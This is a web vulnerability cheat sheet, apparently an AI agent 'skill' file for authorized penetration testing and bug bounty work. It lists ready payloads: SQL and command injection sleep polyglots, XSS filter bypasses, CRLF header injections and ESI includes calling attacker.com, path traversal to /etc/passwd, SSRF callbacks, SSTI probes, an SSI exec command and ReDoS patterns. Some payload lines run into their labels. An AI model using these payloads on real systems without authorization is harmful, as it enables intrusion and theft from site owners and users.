abelrguezr Web Vulnerabilities Cheatsheet
A comprehensive reference for web vulnerability payloads and testing techniques. Use this during security assessments, penetration testing, or bug bounty hunting.
Quick Reference by Vulnerability Type
SQL Injection
Time-based blind SQLi payloads:
1;sleep(9);#- MySQL';sleep(9);#- MySQL with quote";sleep(9);#- MySQL with double quote/*$(sleep 5)- Unix command injection variant/*sleep 5``*/` - Backtick variant
Polyglot payloads (work across multiple contexts):
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
Cross-Site Scripting (XSS)
Basic XSS payloads:
<script>alert(1)</script><img src=x>javascript:alert(1)">
Advanced XSS bypasses:
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html "
-->'"/></sCript><deTailS open x=">"
"><marquee><img src=x
"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>
XSS with HTTP header injection:
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Path Traversal
Unix/Linux paths:
/etc/passwd/etc/hostname/../../../../../../etc/hosts
Windows paths:
C:/windows/system32/drivers/etc/hosts..\\..\\..\\..\\..\\..\\windows/system32/drivers/etc/hosts
Mixed traversal patterns:
..\\..\\..\\..\\..\\..\\etc/hosts..\\..\\..\\..\\..\\..\\windows/system32/drivers/etc/hosts
Server-Side Request Forgery (SSRF)
External resource access:
http://asdasdasdasd.burpcollab.com/mal.php\\asdasdasdasd.burpcollab.com/mal.php
Domain bypass techniques:
www.whitelisted.com.evil.com- Subdomain injection//google.com- Protocol-relative bypass
Server-Side Template Injection (SSTI)
Template engine detection:
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%
Jinja2/Python SSTI:
{{7*7}}- Basic expression${{7*7}}- Nested syntax
ASP/Classic ASP:
<%= 7*7 %>
Ruby ERB:
<%[%'"}}%variants
XML External Entity (XXE)
XSLT-based XXE:
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
Server-Side Include (SSI)
SSI injection:
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
Regular Expression Denial of Service (ReDoS)
Vulnerable regex patterns:
(\w*)+$- Catastrophic backtracking([a-zA-Z]+)*$- Nested quantifiers((a+)+)+$- Multiple nested groups
Testing Workflow
1. Reconnaissance
- Identify input vectors (URL parameters, POST data, headers, cookies)
- Map application technology stack
- Check for WAF/IPS presence
2. Payload Testing
- Start with simple payloads to confirm vulnerability
- Escalate to complex payloads for exploitation
- Test polyglot payloads for context-independent injection
3. Verification
- Use time-based delays for blind vulnerabilities
- Check for out-of-band callbacks (burpcollab)
- Verify file access for path traversal
- Confirm code execution for SSTI/SSRF
4. Documentation
- Record successful payloads
- Note application behavior
- Capture evidence (screenshots, logs)
Important Notes
Legal & Ethical:
- Only test systems you have explicit authorization to assess
- Document all findings for responsible disclosure
- Follow bug bounty program rules and scope
Safety:
- Test in isolated environments when possible
- Avoid destructive payloads in production
- Use time-based detection over data exfiltration during initial testing
Context Matters:
- Payloads may need encoding based on context (URL, HTML, JavaScript)
- WAFs may block common patterns - try variations
- Application-specific filters may require custom payloads
When to Use This Skill
Use this skill when:
- Conducting authorized penetration tests
- Participating in bug bounty programs
- Learning web security concepts
- Needing quick reference for vulnerability payloads
- Analyzing web application security issues
- Preparing security assessments
Do NOT use this skill for:
- Unauthorized access to systems
- Malicious activities
- Testing without proper authorization
- Any illegal purposes